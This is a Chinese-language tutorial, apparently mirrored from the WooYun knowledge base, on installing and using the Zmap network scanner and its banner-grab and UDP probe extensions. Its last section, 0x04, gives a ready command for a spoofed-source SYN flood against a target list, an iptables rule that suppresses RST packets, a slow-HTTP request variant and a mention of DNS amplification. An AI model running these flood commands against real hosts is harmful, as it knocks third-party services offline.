Zmap詳細使用者手冊和DDOS的可行性

wyzsk發表於2020-08-19
作者: livers · 2013/08/23 11:52

0x00 背景


Zmap是美國密歇根大學研究者開發出一款工具。在第22屆USENIX安全研討會,以超過nmap 1300倍的掃描速度聲名鵲起。相比大名鼎鼎的nmap全網掃描速度是他最大的亮點。在千兆網路卡狀態下,45分鐘內掃描全網路IPv4地址。

安裝:

64位版本

Debian/Ubuntu 系列

Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt
Step2: wget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz
Step3: tar –zxvf v1.0.3.tar.gz
Step4: cd zmap-1.0.3/src
Step5: make && make install

32版本 (zmap 主頁只說適用於64位linux,這裡用BT5r3 32位同樣安裝成功,建議還是儘量選用64版本的)

Debian/Ubuntu 系列

Step1: sudo apt-get install libgmp3-dev libpcap-dev gengetopt
Step2: git clone git://github.com/zmap/zmap.git
Step3: tar –zxvf v1.0.2.tar.gz
Step4: cd zmap-1.0.2/src
Step5: make && make install

Fedora, Red Hat Enterprise Linux, or CentOS版本:

只把step2替換成

sudo yum install gmp gmp-devel libpcap-devel gengetopt

如果想使用 redis用來儲存則需要首先安裝 Hiredis,並在step5中

make REDIS=true   (加入此安裝選項)

不是以root許可權執行則需要配置:

setcap cap_net_raw=ep /usr/local/sbin/zmap

0x01 使用介紹:


安裝完後,可直接呼叫zmap

1.最簡單的呼叫

zmap -B 10M -p 80 -n 100000 -o results.txt

-B 是指的是頻寬 -p 埠 -n 掃描多少個目標 -o 輸出結果

整句表示利用10M頻寬掃描100000IP地址的埠,並將結果輸出到results.txt中。

我BT5 R3 測試時,必須加入-G 引數

zmap -B 10M -p 80 -n 100000 -G "01:00:5e:00:00:02" -o results.txt

-G 是指定出口的mac地址,必須為閘道器的實際mac地址,否則返回資料找不到資訊。

如果掃到IP地址開了80埠,就會按照下列格式進行儲存。

115.237.116.119
23.9.117.80
207.118.204.141
217.120.143.111

2.用的最多的指令

zmap -p 443 -G "00:00:00:00:00:00"

檢測全網路SSL/STL使用狀況,ZMAP幾個研究專案都與此有關。  enter image description here

可見我使用的掃描全網的所得大約9小時16分鐘,網路為10MADSL頻寬,ADSL上行速度只有100k左右,導致時間加倍延遲。

3.常用引數

-p, --target-port=port

指定掃描的目標埠

-o, --output-file=name  

把結果寫入指定檔案 -o result.txt

-b, --blacklist-file=path  

IP地址黑名單,例如192.168.0.0/16 表示 192.168.x.x將不被掃描,預設提供一份 RFC 1918保留和內網地址供參考,存放位置在conf/blacklist.conf

zmap -p 443 -G "00:00:00:00:00:00" -b  conf/blacklist.conf





-n, --max-targets=n

最大掃描IP地址數量,-n 100 表示總歸掃描100個IP地址。也可指定 –n 0.1%形式,表示掃描除去黑名單列表裡面全網段的0.1%數量的IP地址。

-N, --max-results=n

最大掃描到結果的IP數量,-N 100 表示掃描到100個存在的結果就停止。

-t, --max-runtime=secs

最大掃描時間,-t 10 表示程式執行10s結束。

-r, --rate=pps

設定每秒傳送包的數量 –r 10000 表示每秒傳送10k個包。

-B, --bandwidth=bps

設定每秒傳送包的大小,-B 10M 表示每秒傳送10Mbps 支援單位(GMK)。

-c, --cooldown-time=secs

設定資料包傳送完之後多長時間開始接受資料(response),預設8s,TCP連線非同步接受。

-e, --seed=n

設定掃描隨機地址的順序,C語言中的偽隨機種子,指定 定值每次隨機掃描的IP地址順序是一樣。

-T, --sender-threads=n

設定掃描執行緒。預設是1,經測試單執行緒基本是把網路頻寬充分利用。

-P, --probes=n

設定往每個IP傳送包的數量,預設為1。(DDOS的引數之一)。

-d, --dryrun

列印出每個包的內容,非常實用的功能。

-s, --source-port=port|range

設定掃描的源埠,可指定範圍 –s 30000-50000。(DDOS的引數之一)。

-S, --source-ip=ip|range

設定掃描的源IP地址,可指定範圍-S 100.100.0.1-200.200.200.200(DDOS的引數之一)。

-G, --gateway-mac=addr

設定閘道器的mac地址,可偽造。(DDOS的引數之一)

-M, --probe-module=name

設定掃描模式,引數tcp_synscan(預設),icmp_echoscan(ping掃描),udp(測試速度要遜於前兩個),這裡可自定義自己的模組,ZMAP作者後續會增加例如自定義UDP payload 的選項。(`*udp_send_msg = "GET / HTTP/1.1

"; // Must be null-terminated`)原始碼裡不可直接更改 (1.0.3版本加入UDP Data Probes可進行自定義)

-O, --output-module=name

設定結果輸出模組,引數simple_file(預設),extended_file。

Simple_file 模式如下

115.237.116.119
23.9.117.80
207.118.204.141
217.120.143.111

Extended File模式如下

response, saddr, daddr, sport, dport, seq, ack, in_cooldown, is_repeat, timestamp
synack, 159.174.153.144, 10.0.0.9, 80, 40555, 3050964427, 3515084203, 0, 0,2013-08-15 18:55:47.681

掃描模組和輸出模組都提供了API ,可自己根據需要新增功能。

--quiet

安靜狀態下執行,不把進度資訊列印到螢幕上

--summary

輸出結果彙總,對研究人員來說 非常有幫助。

0x02 三個額外的擴充套件應用


Banner Grab

抓取指紋,簡言之抓取response 為識別類似SSH,http 401之類的資訊做準備。

這裡 examples / banner-grab 目錄下

首先 make 生成banner-grab-tcp

向http-req 檔案寫入要傳送的資料 (也可以自定義SSH-req 之類)

如:

echo -e -n "GET / HTTP/1.1
Host: %s

" > http-req

(%s 保留,其他可任意構造HTTP請求,包括GET,POST)

這裡擴充套件下 banner-grab-tcp下的引數

-c, --concurent   每次的連線數,最好低於1000,想要高於1000則必須設定ulimit -SSn 1000000` and `ulimit -SHn 1000000` 突破每個檔案最大程式數1024
-p, --port      連線的埠
-t, --conn-timeout  連線超時時間
-r, --read-timeout  響應超時時間
-v, --verbosity     列取資訊詳細程度 ,與sqlmap 類似
-f, --format        輸出檔案格式hex,ascii,base64
-d, --data      傳送的資料資訊 就是前面設定http-req

原始碼裡 #define MAX_BANNER_LEN 1024 接收的每條返回資料,只接收1024位元組,根據需要可自行更改。

與zmap 聯合使用

例子

zmap -p 80 -N 1000 -o - | ./banner-grab-tcp -p 80 -c 100 -d http-req > http-banners.out

zmap掃描1000個80埠開放的IP地址,banner-grab-tcp 來掃描這些IP地址,掃描請求內容透過http-req可自定義 .

forge-socket

與Banner Grab功能一樣,引數也類似,不再重複。

主要是安裝方式不同

要先安裝下列驅動

git clone [email protected]:ewust/forge_socket.git
cd forge_socket
make
sudo insmod forge_socket.ko(以底層驅動方式 比Banner Grab效率高一些)

並且用iptables阻止發rst包

iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP

UDP Data Probes

1.03版本加入

詳細的測試payload見

https://github.com/zmap/zmap/tree/master/examples/udp-probes

以探測mssql的1434埠為例:

zmap -M udp -p 1434 --probe-args=file:examples/udp-probes/mssql_1434.pkt

pkt也可自行構造。

格式化配置

利用配置檔案 簡化命令列輸入

interface "eth1"
source-ip 1.1.1.4-1.1.1.8
gateway-mac b4:23:f9:28:fa:2d # upstream gateway
cooldown-time 300 # seconds
blacklist-file /etc/zmap/blacklist.conf
output-file ~/zmap-output
quiet
summary

上述指令上面全部有介紹。

很顯然,可以透過配置檔案更快速配置zmap.

使用方法:

zmap --config=~/.zmap.conf --target-port=443

0x03 原理分析


Know it

首先講下TCP三次握手。

在TCP/IP協議中,TCP協議提供可靠的連線服務,採用三次握手建立一個連線。

enter image description here

可見三次握手存在於傳送-應答-傳送機制,等待監聽的時間勢必導致發包速度很慢。

這裡zmap是傳送SYN,隨後傳送RST(重置連線),不存在監聽同步操作,清空連線,再繼續發下一個資料包。 而對於識別 zmap把 Ip地址和埠做了類似hash表一樣的對映,當資料包返回時(可能是Syn+Ack,也可能RST),取出返回資料包裡Ip和埠地址進行儲存的hash表裡查詢,並對應處理記錄。 同步變非同步高效的基本原因。

0x04 發散擴充套件


DDoS的可行性:

作者旨在關注全網的掃描,並未提及相關DDoS 的資訊。

也並未特別提供指向型發包的指令。

下面討論可能與作者想法相違,希望各位重在技術鑽研,而非一些惡意破壞。

指定ip段 和ip地址

-w, --whitelist-file=path

限制只掃描檔案中的下列地址或者地址段,例如:

222.222.221.82/24   (192.168.1.0-255 )(可利用種子 –seed 調整從那個IP開始)

單個Ip地址

222.222.221.82/32  (隨機找了一個,這裡1.02版本測試不能直接,需要改 blacklist.c和constraint.c 中生成IP地址的二叉樹的root節點一小部分程式碼)

然後利用

-P  10000000 (重複多次發包)
-s  2000-60000 (設定一個大的埠段)
-S  20.20.20.0-200.200.200.200(隨機大量Ip地址,模擬分散式的D)
-G  這個偽造mac (但是收不到資料包)





Zmap –p 80 -P 10000000 -s 2000-60000 -S 20.20.20.0-200.200.200.200 -w attack_url.txt

見下列傳送的資料效果,達到預期

enter image description here

可能造成什麼樣的危害?

可以配置IP Spoofing,syn flood,land attack, ICMP floods, Application floods 和其他UDP 全零等多種攻擊。

Zmap 的發包速度甚至可以忽略一下 隨後發的這個rst 包。

也可以做得完美一點就是利用iptables

iptables -A OUTPUT -p tcp -m tcp --tcp-flags RST,RST RST,RST -j DROP

把發出去的RST包給drop掉。

可以再升一下?

畢竟有部分擴充套件能控制到應用層也是可以進行慢攻擊。

Get 型別

echo -e -n "GET / HTTP/1.1
Host: %s

" > http-req  替換成
echo -e -n "GET / HTTP/1.1
Host: %s
 " > http-req

Post 型別

可以把原始碼sizeof(value) 的值設定一個大的動態數值。 Post資料設定很小。

DDoS 流量 +連線數 +畸形包

流量基本只能硬防,拼硬體。

zmap幾乎是最大限度利用網路頻寬,10臺G口伺服器不會損耗多少,如果再利用DNS放大流量之類,很恐怖的數字。

Ps :

Zmap 某些方面和python 的scapy很像。

但zmap 純C實現,比scapy效率要高一些。

以前老是糾結scapy 隨後傳送RST 問題,這裡利用iptables 方式確實是個好方法。

參考其中的原始碼和相對規範的API介面,編寫一些模組可以玩出很多花樣。

LINK:

https://zmap.io/documentation.html

https://github.com/zmap/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章